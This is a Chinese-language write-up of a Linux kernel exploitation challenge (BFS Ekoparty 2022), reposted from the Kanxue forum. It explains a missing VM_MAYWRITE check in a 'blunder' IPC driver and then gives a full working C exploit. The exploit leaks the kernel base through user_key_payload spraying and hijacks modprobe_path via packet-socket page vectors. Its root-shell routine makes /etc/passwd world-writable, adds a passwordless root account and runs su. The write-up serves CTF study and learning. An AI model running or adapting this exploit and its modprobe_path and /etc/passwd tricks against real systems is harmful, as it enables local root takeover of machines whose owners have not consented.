BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
2024-5-16 17:58:33 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏


前言

一个师傅给了我一道linux kernel pwn题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是BFS Lab2022 年的一道招聘题(https://labs.bluefrostsecurity.de/blog.html/2022/10/25/bfs-ekoparty-2022-exploitation-challenges/)?还有一道window利用相关的,但我不太会,这两道题目做出来就可以获得面试资格。

这里先简单看下其要求:

可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核5.15.0-52-generic(目前 2024 已经不是最新了)的Ubuntu 22.04 VM上完成利用,如果在开启SMAP/SMEP时可以完成利用则会获得额外的加分。

环境搭建

目前我虚拟机的内核版本为6.5.0,所以这里简单切换下内核版本,这里我选择的版本为5.15.0-72-generic,主要是不想自己源码编译。

其给了模块源码,自己编译安装即可,这里给出脚本:

Makefile如下:
obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)

all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean

install.sh如下:
#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder


漏洞分析

先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情。

正如挑战所描述的那样,其实现了一个

IPC模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与SCM_RIGHTS消息非常相似,发送的其实是底层的struct file结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程A发送数据data到进程B,此时会把data挂在B对应blunder_proc结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程B接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:
说实话,跟sendmsg系统调用传递SCM_RIGHTS辅助消息的底层处理非常像(:可以说是一个阉割版
这里解释一些结构体:
◆struct blunder_device:总的管理结构,每个进程的blunder_proc会被维护成一颗红黑树,其中blunder_device.procs就是RBT的根。
  • context_manager没啥用(:代码中没啥实现相关操作。

// 全局管理结构
struct blunder_device {
spinlock_t lock;
struct rb_root procs;
struct blunder_proc *context_manager;
};
◆struct blunder_proc:每一个打开/dev/blunder的进程都会维护一个,其保存在file的private_data域。
  • struct blunder_alloc alloc数据缓冲区管理结构,其他进程发送的数据会被保存在里面。

  • struct list_head messages是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里。

/*
* @refcount: number of references for this object.
* @rb_node : links procs in blunder_device.
* @alloc: the allocator for incoming messages
* @handles: rb-tree of handles to other blunder_proc.
* @messages: list of IPC messages to be delivered to this proc
*/
// 每个进程维护一个
struct blunder_proc {
struct kref refcount;
spinlock_t lock;
int pid;
int dead;
struct rb_node rb_node; // 与 blunder_device 连接成 RBT
struct blunder_alloc alloc; // 数据缓冲区管理结构
struct list_head messages; // 接收队列
};
◆struct blunder_alloc:缓冲区管理结构。
  • mapping指向缓冲区。

  • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移。

  • buffers:待接收数据块链表。

/*
* @mapping: kernel mapping where IPC messages will be received.
* @mapping_size: size of the mapping.
* @buffers: list of `blunder_buffer` allocations.
* @user_buffer_offset: distance between userspace buffer and mapping
*/
struct blunder_alloc {
spinlock_t lock;
void *mapping;
size_t mapping_size;
ptrdiff_t user_buffer_offset;
struct list_head buffers;
};
struct blunder_buffer待接收数据会以如下结构进行保存。
struct blunder_buffer {
struct list_head buffers_node;
atomic_t free;
size_t buffer_size; // buffer 空间的大小
size_t data_size; // 实际存储数据的大小
size_t offsets_size;
unsigned char data[0];
};
struct blunder_message被挂到接收队列链表的结构。
struct blunder_message {
struct list_head entry;
int opcode;
struct blunder_proc *from; // --> pid??
struct blunder_buffer *buffer;
size_t num_files;
struct file **files;
};
struct blunder_user_message用户空间传入结构。
struct blunder_user_message {
int handle; // pid
int opcode;
void *data; // 要发送/接收数据的指针
size_t data_size; // 要发送/接收数据的大小
size_t *offsets;
size_t offsets_size;
int *fds; // fds[num_fds]
size_t num_fds;
};
对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:
static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......
// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限
// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN
if (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {
goto out;
}
......
这里得配合作者给的提示(https://stackoverflow.com/questions/57286070/why-android-fail-to-boot-after-add-prot-write-flag-to-mmap-of-dev-binder)
主要还是我太菜了,一开始并没觉得有啥问题


通过作者给的提示可以知道这里虽然检查了VM_WRITE,但是并没有检查VM_MAYWRITE,也就是说如果映射时如果带有VM_MAYWRITE标志则在后面可以利用mprotect赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下mmap源码:


可以发现对于使用O_RDWR打开的文件,在进行文件映射时,会默认加上VM_MAYWRITE标志,所以整个漏洞就很清晰了:

◆使用O_RDWR打开驱动文件。

◆只使用PROT_READ进行mmap映射,此时可以通过检查。

◆使用mprotect修改被映射区域的权限为可读可写。


漏洞利用

这里mmap最小的映射大小就是0x1000,所以对应到内核就是kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:



最开始我想的是通过修改buffer_size去实现越界写,但是发现我的环境开启了Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个struct blunder_buffer header,这里在进行写入时就不存在跨页了。
所以这里我们获得了一个比较强大的原语:
kmalloc-4k堆溢出 【下溢】,并且溢出内容可控。
按理说利用就变得简单了,但是我的环境又存在cg隔离,导致常用的适配大对象的结构体pipe_buffer/msg_msg都不适用,而且这里并不好利用cross cache攻击,因为kmalloc-4kpageperslab为 8,并且这里的溢出只能是相邻溢出,并且由于Hardened usercopy保护,这里最多溢出0xfd0,所以我们得利用cross cache形成如下堆布局才行:



由于笔者对cross cache攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在GFP_KERNEL分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod泄漏kbase+pgvUSMA篡改modprobe_path。
这里比较niceubumodprobe_path相关保护似乎是关了的,当然没关也无所谓,USMA劫持setresuid相关底层函数也行
◆所以这里先堆喷形成如下布局:
◆然后利用越界写修改user_key_payload1datalen从而实现越界读取user_free_payload_rcu从而泄漏kbase。
◆最后在释放掉user_key_payload1,然后申请pgv占据该对象,此时就可以利用越界写修改相关地址为modprobe_path即可完成USMA劫持modprobe_path。
最后exp如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(1);
exit(EXIT_FAILURE);
}

void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* root checker and shell poper */
void get_root_shell(void)
{
system("echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");
system("su hacker");
exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)

struct blunder_user_message {
int handle;
int opcode;
void *data;
size_t data_size;
size_t *offsets;
size_t offsets_size;
int *fds;
size_t num_fds;
};

void set_ctx(int fd) {
ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}

void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {
struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}

void recv_msg(int fd, int* fds, size_t num_fds) {
struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };
ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}

void free_buf(int fd, unsigned long arg) {
ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}

int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) puts("socket(AF_PACKET)"), exit(-1);

packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

return s;
}

// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}

#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{
bind_core(0);
int pipe_fd[2];
pipe(pipe_fd);
pid_t pid = fork();
if (!pid) {
unshare_setup();
char* mmap_addr;
int key_id[KEY_NUMS];
char desc[0x10] = { 0 };
char buf[0x10000] = { 0 };
int fds[MAX_FDS] = { 0 };
uint64_t kheap = 0;
uint64_t khead = 0;
uint64_t kbase = 0;
uint64_t koffset = 0;
uint64_t modprobe_path = 0x1e8bb00;
int evil_key = -1;
int res, flag;
int pid = getpid();
int fd = open("/dev/blunder", O_RDWR);
if (fd < 0) err_exit("open /dev/blunder");

for (int i = 0; i < KEY_NUMS / 2; i++) {
sprintf(desc, "%s%d", "XiaozaYa", i);
key_id[i] = key_alloc(desc, buf, 2032);
}

mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if (mmap_addr == MAP_FAILED) err_exit("mmap");

for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {
sprintf(desc, "%s%d", "XiaozaYa", i);
key_id[i] = key_alloc(desc, buf, 2032);
}

printf("[+] mmap_addr: %#llx\n", mmap_addr);
if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");

send_msg(fd, pid, buf, 0x10, NULL, 0);

kheap = *(uint64_t*)(mmap_addr) - 0x40;
khead = *(uint64_t*)(mmap_addr + 8);
printf("[+] kheap: %#llx\n", kheap);
printf("[+] khead: %#llx\n", khead);

*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
binary_dump("first buf", mmap_addr, 0x30);
binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);

*(uint64_t*)(buf + 16) = 0xfff0;
send_msg(fd, pid, buf, 0x20, NULL, 0);
binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);

memset(buf, 0, sizeof(buf));

for (int i = 0; i < KEY_NUMS; i++) {
res = key_read(key_id[i], buf, 0xfff0);
if (res > 0x1000) {
printf("[+] key overread data len: %#lx\n", res);
evil_key = i;
break;
}
}

if (evil_key == -1) {
write(pipe_fd[1], "N", 1);
err_exit("not hit evil_key");
}

printf("[+] evil_key: %d\n", evil_key);

for (int i = 0; i < KEY_NUMS; i++) {
if (i != evil_key) {
key_revoke(key_id[i]);
}
}

res = key_read(key_id[evil_key], buf, res);
int hit_count = 0;
for (int i = 0; i < res / 8; i++) {
uint64_t val = *(uint64_t*)(buf + i*8);
if ((val&0xfff) == 0xa60) {
if (kbase == 0) {
printf("[+] user_free_payload_rcu: %#llx\n", val);
kbase = val - 0x52ba60;
koffset = kbase - 0xffffffff81000000;
}
hit_count++;
//break;
}
}

if (kbase == 0) {
write(pipe_fd[1], "N", 1);
err_exit("Failed to leak kbase");
}

printf("[+] hit count: %d\n", hit_count);
printf("[+] kbase: %#llx\n", kbase);
printf("[+] koffset: %#llx\n", koffset);

modprobe_path += kbase;
printf("[+] modprobe_path: %#llx\n", modprobe_path);
key_revoke(key_id[evil_key]);

// key_unlink(key_id[evil_key]);

int packet_fd;
char* page;
#define TRY_NUMS 0x20
int try_keys[TRY_NUMS];
int index = 0;
memset(desc, 0, sizeof(desc));
for (int i = 0; i < 257; i++) {
*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);
}
for (int i = 0; i < TRY_NUMS; i++) {
printf("[+] try %d/32\n", i);
packet_fd = pagealloc_pad(257, 0x1000);
if (packet_fd < 0) {
write(pipe_fd[1], "N", 1);
perror("pagealloc_pad");
exit(-1);
}

*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;
*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;
*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;
*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;
*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;
*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;
send_msg(fd, pid, buf, 257*8, NULL, 0);

page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
if (page == MAP_FAILED) {
write(pipe_fd[1], "N", 1);
printf("[x] packet_fd: %d\n", packet_fd);
perror("mmap for USMA");
exit(-1);
}

page[strlen("/sbin/modprobe")] = '\x00';
printf("[s] hit string: %s\n", &page[modprobe_path&0xfff]);
if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {
strcpy(&page[modprobe_path&0xfff], "/tmp/x");
write(pipe_fd[1], "Y", 1);
goto OUT;
}

munmap(page, 0x1000*257);
close(packet_fd);

sprintf(desc, "%s%d", "Try", index);
try_keys[index++] = key_alloc(desc, buf, 2032);
}

write(pipe_fd[1], "N", 1);
OUT:
puts("[+] Child Porcess Over");
exit(0);
} else if (pid < 0) {
err_exit("fork");

} else {

char buf[1];
read(pipe_fd[0], buf, 1);
// wait(NULL);
sleep(2);
if (buf[0] == 'Y') {
get_root_shell();
}
puts("[+] Parent Porcess Over");
exit(0);
}

/*
// just test
fds[0] = open("./test", O_RDWR);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
send_msg(fd, pid, buf, 0x10, fds, 1);
binary_dump("MMAP DATA", mmap_addr, 0x100);
recv_msg(fd, &fds[1], 1);
printf("%d\n", fds[1]);
binary_dump("MMAP DATA", mmap_addr, 0x100);
*/

return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高。


总结

这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么。

相关注释源码和

exp可在笔者的github下载(https://github.com/XiaozaYa/kernel-PWN)。

看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区

# 往期推荐

1、怎么让 IDA 的 F5 支持一种新指令集?

2、2024腾讯游戏安全大赛-安卓赛道决赛VM分析与还原

3、Windows主机入侵检测与防御内核技术深入解析

4、系统总结ARM基础

5、AliyunCTF 2024 - BadApple

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458554994&idx=1&sn=816559a8984c0ab9a1ab518c41660dcb&chksm=b18da2f886fa2bee97e29087abdc65fe2d4b725c29752b7bbf93f3555222d973c10075127d4b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh